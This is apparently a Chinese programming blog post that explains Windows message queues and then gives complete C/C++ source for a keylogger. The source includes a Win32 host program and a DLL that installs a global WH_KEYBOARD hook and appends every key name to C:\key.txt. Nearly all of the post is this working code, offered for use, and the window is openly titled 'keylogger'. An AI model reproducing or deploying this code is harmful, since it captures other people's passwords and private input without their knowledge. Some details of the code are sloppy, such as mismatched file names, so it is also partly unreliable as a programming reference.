HOOK技术:劫持信息

前言

系统会给Windows平台下的所有应用程序发送消息,那么系统事先会把消息放到队列里面,也就是消息队列,这些消息包括:单击鼠标、改变窗口尺寸、按下键盘上的一个键等。消息本身是作为一个记录传递给应用程序的,这个记录(一般在 C/C++/汇编 中称为“结构体”)中包含了消息的类型以及其他信息。系统会为每一个应用程序维护一个消息队列,应用程序只能在消息队列中获取消息,随后发送到任一个窗口。应用程序之所以能存在,主要是因为有消息循环,循环结束,应用程序也结束。接下来给大家分享一个劫持所有消息的代码。

创建项目文件

1.新建win32文件,命名为hijack.cpp文件,该文件调用了在dll库中已写好的转载和卸载钩子的函数,里面的代码如下:

#include<stdio.h>
#include<windows.h>
//extern "C" __declspec(dllexport) 可以让外部对象使用
extern "C" __declspec(dllimport) BOOL InstallHook();
//卸载钩子
extern "C" __declspec(dllimport) BOOL UninstallHook();
LRESULT CALLBACK WndProc(
	HWND hwnd,//窗口句柄值
	UINT uMsg,//消息编号
	WPARAM wParam,//附加信息
	LPARAM lParam 
	);
//LPSTR: char *
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR szCmdLine,int iCmdShow)
{
	 TCHAR szAppName[] = TEXT("UUUUUU");
	
	MSG msg;
	//注册窗口类
	WNDCLASS wndclass = {0};
	wndclass.style = CS_HREDRAW|CS_VREDRAW; //窗口类风格
	wndclass.lpfnWndProc = WndProc;//窗口处理函数
	wndclass.hInstance = hInstance;
	wndclass.hCursor = LoadCursor(NULL,IDC_ARROW);//加载光标
	wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);//加载白色画刷
	wndclass.lpszMenuName = NULL;
	wndclass.lpszClassName = szAppName;//窗口类型名
	
	if (!RegisterClass(&wndclass))
	{
		printf("fail\n");
			MessageBox(NULL, TEXT("Program requires Windows NT!"),
			szAppName, MB_ICONERROR);
		return 0;
	}

	//创建窗口
	HWND hWnd = CreateWindow(szAppName, TEXT("键盘记录器"), WS_OVERLAPPEDWINDOW,
		400, 200,  //窗口左上角
		800, 600,   //窗口的宽和高
		NULL, //父窗口句柄
		NULL, //菜单句柄
		hInstance, //应用程序实例句柄
		NULL //参数
	);
	ShowWindow(hWnd, SW_SHOW);
	//更新窗口
	UpdateWindow(hWnd);
	//每个线程都会有个消息队列,消息机制驱动队列
	while (GetMessage(&msg,NULL,0,0))
	{
		//将虚拟键消息转换成字符消息
		TranslateMessage(&msg);
		//将消息分发到窗口处理函数
		DispatchMessage(&msg);

	}

	return 0;

}
LRESULT CALLBACK WndProc(
	HWND hwnd,//窗口句柄值
	UINT uMsg,//消息编号
	WPARAM wParam,//附加信息
	LPARAM lParam)
{
	switch (uMsg)
	{
		//程序启动
	case WM_CREATE:
		InstallHook();
		break;
	case WM_CLOSE:
		DestroyWindow(hwnd);
		break;
	case WM_DESTROY:
		UninstallHook();
		PostQuitMessage(0);
		break;
	}

	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

创建DLL

创建的dll为信息劫持功能的载体,该dll劫持的是所有线程信息,并把劫持的信息存在txt文件中

头部文件

hj.cpp
#include<windows.h>
//安装钩子
//extern "C" __declspec(dllexport) 可以让外部对象使用
extern "C" __declspec(dllexport) BOOL InstallHook();
//卸载钩子
extern "C" __declspec(dllexport) BOOL UninstallHook();
//钩子处理函数
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);


C++文件

// hj.cpp : 定义 DLL 应用程序的导出函数。
#include<stdio.h>
#include "stdafx.h"
#include "kb.h"
HHOOK hHook;
//这样定义只能内部使用
//安装钩子
__declspec(dllexport) BOOL InstallHook()
{
	 hHook=SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, 
		GetModuleHandle(L"kb"),//获取模块句柄
		0//设置成全局钩子
	 );
	 if (hHook == NULL)
	 {
		 return false;
	 }
	 else
		 return  true;
}
//卸载钩子
__declspec(dllexport) BOOL UninstallHook()
{
	return UnhookWindowsHookEx(hHook);
}
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
	//加头文件#include<stdio.h>
	FILE* fp = fopen("C:\\key.txt", "a");
	if (fp == NULL)
		return CallNextHookEx(hHook, code, wParam, lParam);
	//获取按键的名称
	if(code<0||code==HC_NOREMOVE)
		return CallNextHookEx(hHook, code, wParam, lParam);

	if(lParam & 0x40000000)
		return CallNextHookEx(hHook, code, wParam, lParam);

	char szKeyName[100] = { 0 };
	GetKeyNameTextA(lParam,szKeyName,100);

	//写入文件
	fwrite(szKeyName, 1, strlen(szKeyName), fp);

	fclose(fp);
	return 0;
}



发布了30 篇原创文章 · 获赞 48 · 访问量 1088

猜你喜欢

转载自blog.csdn.net/qq_33526144/article/details/104414682